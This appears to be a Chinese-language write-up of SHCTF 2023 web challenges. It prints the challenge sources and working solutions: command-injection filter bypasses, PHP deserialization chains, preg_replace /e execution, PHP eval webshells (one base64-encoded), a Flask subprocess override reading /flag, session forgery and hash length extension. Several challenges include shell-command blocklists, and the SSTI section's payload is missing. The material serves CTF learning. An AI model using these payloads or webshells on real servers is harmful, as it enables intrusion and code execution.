# web
# [WEEK1]babyRCE
题目:
<?php | |
$rce = $_GET['rce']; | |
if (isset($rce)) { | |
if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|\"/i", $rce)) { | |
system($rce); | |
}else { | |
echo "hhhhhhacker!!!"."\n"; | |
} | |
} else { | |
highlight_file(__FILE__); | |
} |
过滤了很多,不过像 cat 这样类似读取文件的命令,都可以通过采用这种形式:c\at,来绕过过滤,或者可以使用 uniq 命令来读取,关于 uniq 命令可以查看这篇文章:
Linux uniq 命令
空格被过滤了,可以利用 %09 或者 $IFS 来绕过过滤。
payload:
/?rce=ls%09/ | |
/?rce=c\at%09/fl?? |
# [WEEK1]1zzphp
题目:
<?php | |
error_reporting(0); | |
highlight_file('./index.txt'); | |
if(isset($_POST['c_ode']) && isset($_GET['num'])) | |
{ | |
$code = (String)$_POST['c_ode']; | |
$num=$_GET['num']; | |
if(preg_match("/[0-9]/", $num)) | |
{ | |
die("no number!"); | |
} | |
elseif(intval($num)) | |
{ | |
if(preg_match('/.+?SHCTF/is', $code)) | |
{ | |
die('no touch!'); | |
} | |
if(stripos($code,'2023SHCTF') === FALSE) | |
{ | |
die('what do you want'); | |
} | |
echo $flag; | |
} | |
} |
分析源码,第一步需要给 num 传参,但不能为数字,但是后面的 intval 函数又要求必须是数字,所以采用传数组绕过。
由于使用 string () 函数将传入的参数 c_ode 转化为字符串,所以不能使用数组绕过正则,但 pcre.backtrack_limit
给 pcre 设定了一个回溯次数上限,默认为 1000000,如果回溯次数超过这个数字,preg_match 会返回 false
具体可以参考 p 神的博客:
PHP 利用 PCRE 回溯次数限制绕过某些安全限制
<?php | |
echo str_repeat('haha', '250000') . '2023SHCTF'; |
payload:
2023SHCTFGET:num[]=1 | |
Post:c_ode=hahaha(......)2023SHCTF |
# [WEEK1]ez_serialize
<?php | |
highlight_file(__FILE__); | |
class A{ | |
public $var_1; | |
public function __invoke(){ | |
include($this->var_1); | |
} | |
} | |
class B{ | |
public $q; | |
public function __wakeup() | |
{ | |
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->q)) { | |
echo "hacker"; | |
} | |
} | |
} | |
class C{ | |
public $var; | |
public $z; | |
public function __toString(){ | |
return $this->z->var; | |
} | |
} | |
class D{ | |
public $p; | |
public function __get($key){ | |
$function = $this->p; | |
return $function(); | |
} | |
} | |
if(isset($_GET['payload'])) | |
{ | |
unserialize($_GET['payload']); | |
} | |
?> |
直接上链子:
<?php | |
class A{ | |
public $var_1='php://filter/convert.base64-encode/resource=flag.php'; | |
} | |
class B{ | |
public $q; | |
} | |
class C{ | |
public $var; | |
public $z; | |
} | |
class D{ | |
public $p; | |
} | |
$a=new B(); | |
$a->q=new C(); | |
$a->q->z=new D(); | |
$a->q->z->p=new A(); | |
echo urlencode(serialize($a)); |
?payload=O%3A1%3A%22B%22%3A1%3A%7Bs%3A1%3A%22q%22%3BO%3A1%3A%22C%22%3A2%3A%7Bs%3A3%3A%22var%22%3BN%3Bs%3A1%3A%22z%22%3BO%3A1%3A%22D%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A1%3A%22A%22%3A1%3A%7Bs%3A5%3A%22var_1%22%3Bs%3A52%3A%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7D%7D
得到后 base64 解码即可。
# [WEEK1] 登录就给 flag
点击登录,等待 3 秒,跳转到登录页面,尝试弱口令 admin 和 password,登录成功
# [WEEK1] 飞机大战
简单的前端 js 代码审计,提示分数大于 99999 就能拿到 flag 哦。
两种思路,一种是直接找 flag,另一种是修改分数。
可以在 main.js 中找到 won 函数:
var galf = "\u005a\u006d\u0078\u0068\u005a\u0033\u0073\u0035\u004d\u006d\u004a\u006b\u005a\u0057\u0055\u007a\u0059\u0079\u0030\u0030\u0059\u0054\u0068\u006d\u004c\u0054\u0051\u0031\u004d\u0054\u004d\u0074\u004f\u0057\u0049\u0034\u0059\u0079\u0031\u0069\u0059\u006d\u0056\u006a\u004f\u0054\u004e\u006a\u005a\u006a\u005a\u0069\u004e\u006a\u0042\u0039\u000a"; | |
alert(atob(galf)); |
unicode 编码,解码即可得到 flag,或者在控制台运行 won 函数。
修改分数可以在 if (scores>99999) 地方设置断点,然后将里面的 scores 变量改为大与 99999 就可以了。
# [WEEK1]ezphp
<?php | |
error_reporting(0); | |
if(isset($_GET['code']) && isset($_POST['pattern'])) | |
{ | |
$pattern=$_POST['pattern']; | |
if(!preg_match("/flag|system|pass|cat|chr|ls|[0-9]|tac|nl|od|ini_set|eval|exec|dir|\.|\`|read*|show|file|\<|popen|pcntl|var_dump|print|var_export|echo|implode|print_r|getcwd|head|more|less|tail|vi|sort|uniq|sh|include|require|scandir|\/| |\?|mv|cp|next|show_source|highlight_file|glob|\~|\^|\||\&|\*|\%/i",$code)) | |
{ | |
$code=$_GET['code']; | |
preg_replace('/(' . $pattern . ')/ei','print_r("\\1")', $code); | |
echo "you are smart"; | |
}else{ | |
die("try again"); | |
} | |
}else{ | |
die("it is begin"); | |
} | |
?> |
很显然把各种能用的 payload 过滤死了,但是没有关系,preg_match 强制要求第二个参数必须是 string,否则返回 false,但是 preg_replace 的参数都可以传入数组,所以可以采用数组绕过。
本题的考点就是 \e 的命令执行,具体可以参考这篇文章:
深入研究 preg_replace 与代码执行
payload:
code=$
pattern=\S.*
flag 就在配置文件中。
由于 preg_replace 中可操作性比较小,先直接释放一句话木马:
/?code[]={${eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(99).chr(109).chr(100).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(71).chr(69).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr( 39).chr(41).chr(59))}} | |
pattern=.* |
文件内容为:
fputs(fopen('cmd.php','w'),'<?php eval($_GET[cmd])?>'); |
然后接下来就可以进行命令执行拿到 flag 了。
换句话来说,只要不出现单引号和双引号,命令就可以正常运行,所以也能用无参 rce 来做这题。
# [WEEK1] 生成你的邀请函吧~
题目要求:
API:url/generate_invitation | |
Request:POST application/json | |
Body:{ | |
"name": "Yourname", | |
"imgurl": "http://q.qlogo.cn/headimg_dl?dst_uin=QQnumb&spec=640&img_type=jpg" | |
} | |
使用POST json请求来生成你的邀请函吧~flag就在里面哦~ |
随便用一个发包工具发包即可:
POST /generate_invitation HTTP/1.1 | |
Content-Type: application/json | |
Host: 112.6.51.212:31690 | |
{ | |
"name": "p1kap1", | |
"imgurl": "http://q.qlogo.cn/headimg_dl?dst_uin=QQnumb&spec=640&img_type=jpg" | |
} |
得到一张图片,图片上面即为 flag。
# [WEEK2]no_wake_up
题目:
<?php | |
highlight_file(__FILE__); | |
class flag{ | |
public $username; | |
public $code; | |
public function __wakeup(){ | |
$this->username = "guest"; | |
} | |
public function __destruct(){ | |
if($this->username = "admin"){ | |
include($this->code); | |
} | |
} | |
} | |
unserialize($_GET['try']); |
简单的反序列化题,上链子:
<?php | |
class flag{ | |
public $username="admin"; | |
public $code="php://filter/convert.base64-encode/resource=flag.php"; | |
} | |
$a=new flag(); | |
echo serialize($a); |
/wakeup.php?try=O:4:"flag":2:
解码得到 flag。
# [WEEK2]serialize
题目:
<?php | |
highlight_file(__FILE__); | |
class misca{ | |
public $gao; | |
public $fei; | |
public $a; | |
public function __get($key){ | |
$this->miaomiao(); | |
$this->gao=$this->fei; | |
die($this->a); | |
} | |
public function miaomiao(){ | |
$this->a='Mikey Mouse~'; | |
} | |
} | |
class musca{ | |
public $ding; | |
public $dong; | |
public function __wakeup(){ | |
return $this->ding->dong; | |
} | |
} | |
class milaoshu{ | |
public $v; | |
public function __tostring(){ | |
echo"misca~musca~milaoshu~~~"; | |
include($this->v); | |
} | |
} | |
function check($data){ | |
if(preg_match('/^O:\d+/',$data)){ | |
die("you should think harder!"); | |
} | |
else return $data; | |
} | |
unserialize(check($_GET["wanna_fl.ag"])); |
三个考点,
第一个是构造 pop 链,musca:wakeup ()->misca:get ()->milaoshu:tostring (),唯一稍难的点在于如何从 get ()->__tostring (),tostring 的触发条件是当一个类对象被当作字符串时触发,那么显然我们想触发 tostring,需要利用 die 这个函数。
第二个考点就是我们在调用 die 函数之前调用了 miaomiao 这个方法,将 a 进行了提前赋值,所以为了让 a 为类 milaoshu,我们可以通过应用让它和 gao 指向同一位置。
第三就是绕过 check 函数,无非就是对 “O: 数字” 这样的形式进行了过滤,两种绕过方法,使用 + 或者直接使用 array 去序列化,但前者受 php 版本限制,所以一般更倾向于使用后者去绕过。
最后注意传参就行了。
<?php | |
class misca{ | |
public $gao; | |
public $fei; | |
public $a; | |
// public function __get($key){ | |
// $this->miaomiao(); | |
// $this->gao=$this->fei; | |
// die($this->a); | |
// } | |
// public function miaomiao(){ | |
// $this->a='Mikey Mouse~'; | |
// } | |
} | |
class musca{ | |
public $ding; | |
public $dong; | |
// public function __wakeup(){ | |
// return $this->ding->dong; | |
// } | |
} | |
class milaoshu | |
{ | |
public $v="php://filter/convert.base64-encode/resource=flag.php"; | |
} | |
// public function __tostring(){ | |
// echo"misca~musca~milaoshu~~~"; | |
// include($this->v); | |
// } | |
//function check($data){ | |
// if(preg_match('/^O:\d+/',$data)){ | |
// die("you should think harder!"); | |
// } | |
// else return $data; | |
$a = new musca(); | |
$a -> ding= new misca(); | |
$a -> ding ->fei=new milaoshu(); | |
$a -> ding ->gao=&$a ->ding->a; | |
$b = array($a); | |
echo serialize($b); |
?wanna[fl.ag=a:1:{i:0;O:5:"musca":2:{s:4:"ding";O:5:"misca":3:{s:3:"gao";N;s:3:"fei";O:8:"milaoshu":1:{s:1:"v";s:52:"php://filter/convert.base64-encode/resource=flag.php";}s:1:"a";R:4;}s:4:"dong";N;}}
# [WEEK2]ez_rce
题目附件:
from flask import * | |
import subprocess | |
app = Flask(__name__) | |
def gett(obj,arg): | |
tmp = obj | |
for i in arg: | |
tmp = getattr(tmp,i) | |
return tmp | |
def sett(obj,arg,num): | |
tmp = obj | |
for i in range(len(arg)-1): | |
tmp = getattr(tmp,arg[i]) | |
setattr(tmp,arg[i+1],num) | |
def hint(giveme,num,bol): | |
c = gett(subprocess,giveme) | |
tmp = list(c) | |
tmp[num] = bol | |
tmp = tuple(tmp) | |
sett(subprocess,giveme,tmp) | |
def cmd(arg): | |
subprocess.call(arg) | |
@app.route('/',methods=['GET','POST']) | |
def exec(): | |
try: | |
if request.args.get('exec')=='ok': | |
shell = request.args.get('shell') | |
cmd(shell) | |
else: | |
exp = list(request.get_json()['exp']) | |
num = int(request.args.get('num')) | |
bol = bool(request.args.get('bol')) | |
hint(exp,num,bol) | |
return 'ok' | |
except: | |
return 'error' | |
if __name__ == '__main__': | |
app.run(host='0.0.0.0',port=5000) |
解释下这串代码:
这段代码是一个使用 Flask 构建的 Web 应用程序,它提供了两个主要功能:
- 命令执行:通过 URL 参数
exec
的值为 "ok" 时,执行一个 shell 命令。 - 子进程属性修改:通过 POST 请求将 JSON 数据发送到
/
路由,该 JSON 包含了一个属性的名称和需要修改的属性值。
以下是如何使用这个应用程序执行命令和修改子进程属性的示例:
命令执行:
发送一个 GET 请求到
http://your-server:5000/?exec=ok&shell=your-command
,其中your-command
是你要执行的命令。这将触发cmd(shell)
函数,执行指定的命令。修改子进程属性:
发送一个 POST 请求到
http://your-server:5000/
,并在请求的 JSON 数据中指定属性的名称(exp)、要修改的属性索引(num)以及要设置的属性值(bol)。服务器将调用hint(exp, num, bol)
函数,以修改子进程属性。
通过网上的资料可以得知:
subprocess.call() | |
执行由参数提供的命令. | |
我们可以用数组作为参数运行命令,也可以用字符串作为参数运行命令(通过设置参数shell=True) | |
注意,参数shell默认为False | |
我们用subprocess.call()来做一个统计磁盘的例子: | |
subprocess.call(['df', '-h']) | |
下面的例子把shell设置为True | |
subprocess.call('du -hs $HOME', shell=True) |
那现在大致明白这题的意思了,通过 hint 函数修改 subprocess.call () 函数中的 shell 为 true,再执行系统命令。
那就进入 subprocess 函数查看 call 函数是怎样构成的:
def call(*popenargs, timeout=None, **kwargs): | |
"""Run command with arguments. Wait for command to complete or | |
timeout, then return the returncode attribute. | |
The arguments are the same as for the Popen constructor. Example: | |
retcode = call(["ls", "-l"]) | |
""" | |
with Popen(*popenargs, **kwargs) as p: | |
try: | |
return p.wait(timeout=timeout) | |
except: # Including KeyboardInterrupt, wait handled that. | |
p.kill() | |
# We don't call p.wait() again as p.__exit__ does that for us. | |
raise |
这段代码定义了一个高级的 call
函数,它使用 Popen
类来启动一个子进程,等待子进程完成,并返回命令的返回码。这个函数还支持设置超时,如果命令执行时间超过指定的超时时间,将引发超时异常。此外,它会处理异常,确保子进程被终止,然后再次引发异常。这使得在执行外部命令时能够更加安全和可控。
既然说他使用 Popen 类来启动,那就去 Popen 类看看:
class Popen(object): | |
""" Execute a child program in a new process. | |
For a complete description of the arguments see the Python documentation. | |
Arguments: | |
args: A string, or a sequence of program arguments. | |
bufsize: supplied as the buffering argument to the open() function when | |
creating the stdin/stdout/stderr pipe file objects | |
executable: A replacement program to execute. | |
stdin, stdout and stderr: These specify the executed programs' standard | |
input, standard output and standard error file handles, respectively. | |
preexec_fn: (POSIX only) An object to be called in the child process | |
just before the child is executed. | |
close_fds: Controls closing or inheriting of file descriptors. | |
shell: If true, the command will be executed through the shell. | |
cwd: Sets the current directory before the child is executed. | |
env: Defines the environment variables for the new process. | |
text: If true, decode stdin, stdout and stderr using the given encoding | |
(if set) or the system default otherwise. | |
universal_newlines: Alias of text, provided for backwards compatibility. | |
startupinfo and creationflags (Windows only) | |
restore_signals (POSIX only) | |
start_new_session (POSIX only) | |
pass_fds (POSIX only) | |
encoding and errors: Text mode encoding and error handling to use for | |
file objects stdin, stdout and stderr. | |
Attributes: | |
stdin, stdout, stderr, pid, returncode | |
""" | |
_child_created = False # Set here since __del__ checks it | |
def __init__(self, args, bufsize=-1, executable=None, | |
stdin=None, stdout=None, stderr=None, | |
preexec_fn=None, close_fds=True, | |
shell=False, cwd=None, env=None, universal_newlines=None, | |
startupinfo=None, creationflags=0, | |
restore_signals=True, start_new_session=False, | |
pass_fds=(), *, encoding=None, errors=None, text=None): | |
"""Create new Popen instance.""" | |
_cleanup() |
Popen
类是subprocess
模块中的一个用于处理子进程的类。- 构造函数
__init__
接受多个参数,用于配置子进程的行为和执行。这些参数包括:args
:指定要执行的命令及其参数的字符串或序列。bufsize
:用于设置标准输入、标准输出和标准错误的缓冲大小。executable
:可选的替代程序名称。stdin
,stdout
, 和stderr
:指定执行程序的标准输入、标准输出和标准错误文件句柄。preexec_fn
:(仅限 POSIX)在子进程执行前调用的函数。close_fds
:控制文件描述符的关闭或继承。shell
:如果为True
,则通过 shell 执行命令。cwd
:设置子进程的当前工作目录。env
:定义新进程的环境变量。text
:如果为True
,则使用给定的编码(如果设置)或系统默认编码解码标准输入、标准输出和标准错误。- 其他参数用于配置 Windows 系统下的一些行为。
Popen
类的实例具有一些属性,包括stdin
、stdout
、stderr
、pid
和returncode
,用于访问子进程的标准输入、标准输出、标准错误、进程 ID 和返回码。_child_created
属性用于跟踪是否已经创建了子进程。
通常情况下 __defaults__
是用于表示函数默认参数值的属性,
>>> subprocess.Popen.__init__.__defaults__ | |
(-1, None, None, None, None, None, True, False, None, None, None, None, 0, True, False, ()) |
通过查看得知 shell 参数的值在第 8 个,所以只需要修改 7 下标为 True 就可以执行任意命令了。
可以看到 ok,
接下来就可以在 shell 参数中执行命令了,由于命令无回显,所以我们可以用 tee 命令或者 > 来将内容输出到一个文件中,需要注意的是这里无法直接在根目录中查看文件,所以我们新建一个目录:
/?exec=ok&shell=mkdir%20./static;ls%20/>./static/1.txt
这样再查看 /static/1.txt
bin dev etc flag home lib media mnt opt proc root run sbin srv start.sh sys tmp usr var
最后 /?exec=ok&shell=cat%20/flag>./static/2.txt
即可。
# [WEEK2] MD5 的事就拜托了
题目:
<?php | |
highlight_file(__FILE__); | |
include("flag.php"); | |
if(isset($_POST['SHCTF'])){ | |
extract(parse_url($_POST['SHCTF'])); | |
if($$$scheme==='SHCTF'){ | |
echo(md5($flag)); | |
echo("</br>"); | |
} | |
if(isset($_GET['length'])){ | |
$num=$_GET['length']; | |
if($num*100!=intval($num*100)){ | |
echo(strlen($flag)); | |
echo("</br>"); | |
} | |
} | |
} | |
if($_POST['SHCTF']!=md5($flag)){ | |
if($_POST['SHCTF']===md5($flag.urldecode($num))){ | |
echo("flag is".$flag); | |
} | |
} |
首先我们得让 $$$scheme 为 "SHCTF" 才可得到 md5 加密后的 flag。
关于 parse_url 可以查看官方文档介绍:
parse_url
我们可以这样构造 SHCTF
SHCTF=query://SHCTF?host
这样首先 $scheme=query
host=SHCTF,就满足条件了。
然后 num 可以传入 1.001 绕过。
得到回显:
8c947bf286d25d0805797c171951504e
42
然后就是最后一块的绕过了,说白了就是 SHCTF 的值的和 flag 和 num 拼接的字符串 md5 加密后的值相等。
具体可以参考这篇文章:
Hash 拓展长度攻击原理剖析
工具可以用这个:https://github.com/shellfeel/hash-ext-attack
?length=%80%00%00%00%00%00%00%00%00%00%00%00%00%00P%01%00%00%00%00%00%0012
SHCTF=5834b838307ee5fca039ea91e47101c8
传入后即可得到 flag。
# [WEEK2]ez_ssti
这道题就是一道 python 的 SSTI,没有任何过滤,参数是 name,
可以参考这几篇文章:
SSTI(模板注入)漏洞(入门篇)
SSTI (模板注入) 解析 和 ctf 做法
细说 SSTI
尝试一下: {
{7*'7'}}
回显是 7777777
,判断是 Jinja2
模板 (如果回显是 49 则为 Twig
模板)
使用 <class 'flask.config.Config'> 类,payload:
# [WEEK2]EasyCMS
打开可以知道是 taoCMS
,可以搜一下
基本上都需要先登录到后台, 搜一个默认密码登进去后台
跳转的时候,改一下就行
http://.../admin/admin.php
再搜一下,taoCMS 的默认密码
账户admin
密码tao
在文件管理可以发现,可以目录穿越
根目录读 flag 就行
# [WEEK3] 快问快答
男:尊敬的领导,老师 女:亲爱的同学们 合:大家下午好! 男:伴着优美的音乐,首届SHCTF竞答比赛拉开了序幕。欢迎大家来到我们的比赛现场。
解题思路
看源码部分,可以看到一些提示
<body>
<h1>SHCTF 快问快答</h1>
<p class="message">连续答对50题得到flag<br></p class="message">
<form method="POST">
<h3>题目:7715 ÷ 2976 = ?</h3>
<!-- tips: "与" "异或" 就是二进制的"与" "异或" 运算 -->
<!-- 怕写成^ &不认识( -->
<input type="number" placeholder="请输入答案" name="answer" required>
<button type="submit">提交</button>
</form>
<p>你已经答对了0题</p>
<!-- 出错后成绩归零0 -->
<p class="message"></p class="message">
</body>
测试可以知道,要求在题目刷新后的 1~2 秒之间回答
那肯定得用脚本做题了,注意本题的连续答对 50 次是不是对于整个容器,而是对用户分配了 token
所以不能只用 requests 库的 get,至少要用 requests 的 Session
类
做之前可以学习一下 re 库:
python re 库 详解 (正则表达式)
https://docs.python.org/zh-cn/3/library/re.html#functions
以下官方脚本:
import requests | |
import re | |
import time | |
url = 'http://112.6.51.212:32865/' | |
session = requests.session() | |
for i in range(50): | |
# try: | |
response = session.get(url,verify=False) | |
x = response.text | |
# 定义正则表达式模式 | |
pattern = r'<h3>(.*?)</h3>' | |
# 使用 re 模块的 findall 方法匹配所有符合模式的字符串 | |
result = re.findall(pattern, x)[0].split('=') | |
print(result) | |
answer = eval(result[0][3:].replace('x','*').replace('÷','//').replace('异或','^').replace('与','&')) | |
print(answer) | |
data = { | |
'answer': str(answer), | |
} | |
time.sleep(1) | |
x2 = session.post(url,data=data) | |
#print(x2.text) | |
print(re.findall(r'<p>(.*?)</p>', x2.text)) | |
print(re.findall(r'<p class="message">(.*?)</p class="message">', x2.text)) | |
#print(x2.cookies) | |
print(x2.text) |
再来看用 js 的做法,以下 exp 来自 未定义变量 师傅
setTimeout(() => {
source = document.querySelector("body > form > h3").innerText.substr(3).split(' ');
a = parseInt(source[0]); op = source[1]; b = parseInt(source[2]);
calc = (a, op, b) => {
if (op == 'x') {
return a * b;
} else if (op == '+') {
return a + b;
} else if (op == '-') {
return a - b;
} else if (op == '与') {
return a & b;
} else if (op == '÷') {
return a / b;
} else if (op == '异或') {
return a ^ b;
}
}
document.querySelector("body > form > input[type=number]").value = parseInt(calc(a, op, b)).toString();
document.querySelector("body > form > button").click();
}, 500)
Nebula
师傅使用 selenium 库 模拟点击的脚本
import time
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.common.keys import Keys
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
url='http://112.6.51.212:32321/'#修改 url 地址即可
driver = webdriver.Edge() # 使用 Edge 浏览器,可以根据需要选择其他浏览器driver.maximize_window() #窗口最大化
driver.get(url)
#访问登录页面
for i in range(50):
problem=driver.find_element(By.TAG_NAME,'h3').text
problem=problem[3:-3]
print(problem)
if '与' in problem:
problem = problem.replace('与', '&')
if '异或' in problem:
problem = problem.replace('异或', '^')
if '÷' in problem:
problem = problem.replace('÷', '//')
if 'x' in problem:
problem = problem.replace('x', '*')
#time.sleep(10)
print('-------------------')
result=eval(problem)
print(result)
print('-------------------')
driver.find_element(By.TAG_NAME,'input').click()
driver.find_element(By.TAG_NAME,'input').send_keys(result)
time.sleep(1)
driver.find_element(By.TAG_NAME,'button').click()
a=driver.find_element(By.TAG_NAME,'p')
input("按 Enter 键关闭浏览器...")
真。长见识了.
# [WEEK3]sseerriiaalliizzee
<?php | |
error_reporting(0); | |
highlight_file(__FILE__); | |
class Start{ | |
public $barking; | |
public function __construct(){ | |
$this->barking = new Flag; | |
} | |
public function __toString(){ | |
return $this->barking->dosomething(); | |
} | |
} | |
class CTF{ | |
public $part1; | |
public $part2; | |
public function __construct($part1='',$part2='') { | |
$this -> part1 = $part1; | |
$this -> part2 = $part2; | |
} | |
public function dosomething(){ | |
$useless = '<?php die("+Genshin Impact Start!+");?>'; | |
$useful= $useless. $this->part2; | |
file_put_contents($this-> part1,$useful); | |
} | |
} | |
class Flag{ | |
public function dosomething(){ | |
include('./flag,php'); | |
return "barking for fun!"; | |
} | |
} | |
$code=$_POST['code']; | |
if(isset($code)){ | |
echo unserialize($code); | |
} | |
else{ | |
echo "no way, fuck off"; | |
} | |
?> | |
no way, fuck off |
这道题的 pop 链很简单,通过 echo 函数触发 Start 类中的__toString 函数,再触发 CTF 类中的 dosomething 函数,最后通过 file_put_contents 写入文件即可,难点就在于绕过 die 死亡函数。
可以参考这篇文章:
探索 php 伪协议以及死亡绕过
可以用 strip_tags 绕过,因为死亡代码实际上是 XML 标签,既然是 XML 标签,就可以利用 strip_tags 函数去除它,而 php://filter 刚好是支持这个方法的。
但是要写入的一句话木马也是 XML 标签,在用到 strip_tags 时也会被去除。所以注意到在写入文件的时候,filter 是支持多个过滤器的。可以先将 webshell 经过 base64 编码,strip_tags 去除死亡 exit 之后,再通过 base64-decode 复原。
<?php | |
class Start{ | |
public $barking; | |
} | |
class CTF{ | |
public $part1; | |
public $part2; | |
} | |
class Flag{ | |
} | |
$a=new Start(); | |
$b=new Flag(); | |
$c=new CTF(); | |
$a->barking=$b; | |
$a->barking=$c; | |
$c->part1='php://filter/string.strip_tags|convert.base64-decode/resource=a.php'; | |
$c->part2='PD9waHAgQGV2YWwoJF9QT1NUWydzaGVsbCddKTs/Pg=='; | |
echo serialize($a); | |
?> |
或者不使用 strip_tags 标签,直接用 base64 解码,前面部分由于乱码不会执行,但是得注意 base64 算法解码时是 4 个 byte 一组
除去 <?!" 空格;这些不在 base64 表里的字符还剩下 26 个字符 ,需要凑两个字符组成 28 个字符 7 组
<?php | |
class Start{ | |
public $barking; | |
} | |
class CTF{ | |
public $part1; | |
public $part2; | |
} | |
class Flag{ | |
} | |
$a=new Start(); | |
$b=new Flag(); | |
$c=new CTF(); | |
$a->barking=$b; | |
$a->barking=$c; | |
$c->part1='php://filter/convert.base64-decode/resource=a.php'; | |
$c->part2='aaPD9waHAgQGV2YWwoJF9QT1NUWydzaGVsbCddKTs/Pg=='; | |
echo serialize($a); | |
?> |
传入后访问 a.php,使用蚁剑连接即可,密码 shell。
# [WEEK3]gogogo
这道题涉及到 go 代码审计,简单审计下代码:
//main.go | |
package main | |
import ( | |
"main/route" | |
"github.com/gin-gonic/gin" | |
) | |
func main() { | |
r := gin.Default() | |
r.GET("/", route.Index) | |
r.GET("/readflag", route.Readflag) | |
r.Run("0.0.0.0:8000") | |
} |
分析一下,就是给了两个路由。
//route.go | |
package route | |
import ( | |
"github.com/gin-gonic/gin" | |
"github.com/gorilla/sessions" | |
"main/readfile" | |
"net/http" | |
"os" | |
"regexp" | |
) | |
var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY"))) | |
func Index(c *gin.Context) { | |
session, err := store.Get(c.Request, "session-name") | |
if err != nil { | |
http.Error(c.Writer, err.Error(), http.StatusInternalServerError) | |
return | |
} | |
if session.Values["name"] != "admin" { | |
session.Values["name"] = "user" | |
err = session.Save(c.Request, c.Writer) | |
if err != nil { | |
http.Error(c.Writer, err.Error(), http.StatusInternalServerError) | |
return | |
} | |
} | |
c.String(200, "Hello, User. How to become admin?") | |
} | |
func Readflag(c *gin.Context) { | |
session, err := store.Get(c.Request, "session-name") | |
if err != nil { | |
http.Error(c.Writer, err.Error(), http.StatusInternalServerError) | |
return | |
} | |
if session.Values["name"] == "admin" { | |
c.String(200, "Congratulation! You are admin,But how to get flag?\n") | |
path := c.Query("filename") | |
reg := regexp.MustCompile(`[b-zA-Z_@#%^&*:{|}+<>";\[\]]`) | |
if reg.MatchString(path) { | |
http.Error(c.Writer, "nonono", http.StatusInternalServerError) | |
return | |
} | |
var data []byte | |
if path != "" { | |
data = readfile.ReadFile(path) | |
} else { | |
data = []byte("请传入参数") | |
} | |
c.JSON(200, gin.H{ | |
"success": "read: " + string(data), | |
}) | |
} else { | |
c.String(200, "Hello, User. How to become admin?") | |
} | |
} |
可以看到,这里将判断是否携带了 cookie,如果 cookie 中的 name 为空,就将其设置为 user。并且有一个细节,无论是否是管理员,根路由永远都会返回
想到需要伪造 session
上面通过获取环境变量中的 SESSION_KEY 来获取生成 secure cookie
。只能对 SESSION_KEY 进行猜测,猜测并未设置 SESSION_KEY。在本地运行程序,将 SESSION_KEY 置为空从而伪造 cookie。
这里将 route.go
修改一下
var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY"))) | |
func Index(c *gin.Context) { | |
session, err := store.Get(c.Request, "session-name") | |
if err != nil { | |
http.Error(c.Writer, err.Error(), http.StatusInternalServerError) | |
return | |
} | |
if session.Values["name"] == "" { | |
session.Values["name"] = "admin" | |
err = session.Save(c.Request, c.Writer) | |
if err != nil { | |
http.Error(c.Writer, err.Error(), http.StatusInternalServerError) | |
return | |
} | |
} | |
c.String(200, "Hello, User. How to become admin?") | |
} |
之后在附件目录
命令行 go run main.go
在此之前由于 go 语言的特性,得设置以下代理
可以参考这篇文章:
go 语言:环境变量 GOPROXY 和 GO111MODULE 设置
go env -w GOPROXY=https://goproxy.io,direct |
之后访问 127.0.0.1:8000 获取 session
得到 session
MTY5NjU4NDE0OHxEdi1CQkFFQ180SUFBUkFCRUFBQUlfLUNBQUVHYzNSeWFXNW5EQVlBQkc1aGJXVUdjM1J5YVc1bkRBY0FCV0ZrYldsdXysV4NxGfmmxi8T_k5RdAIUVa9tJvZeKhYCyAgeuPTHYA==
然后就是 readflag
路由下面,如何读取 flag
先来看 readfile.go
的实现
package readfile | |
import ( | |
"os/exec" | |
) | |
func ReadFile(path string) (string2 []byte) { | |
defer func() { | |
panic_err := recover() | |
if panic_err != nil { | |
} | |
}() | |
cmd := exec.Command("bash", "-c", "strings "+path) | |
string2, err := cmd.Output() | |
if err != nil { | |
string2 = []byte("文件不存在") | |
} | |
return string2 | |
} |
用的 bash
终端下的 string
函数
再去看正则过滤
reg := regexp.MustCompile(`[b-zA-Z_@#%^&*:{|}+<>";\[\]]`)
if reg.MatchString(path) {
http.Error(c.Writer, "nonono", http.StatusInternalServerError)
return
}
var data []byte
if path != "" {
data = readfile.ReadFile(path)
} else {
data = []byte("请传入参数")
}
没过滤 /?a
直接用 /??a?
匹配,或者 /????
也就是直接访问
http://112.6.51.212:32997/readflag?filename=/??a?
即可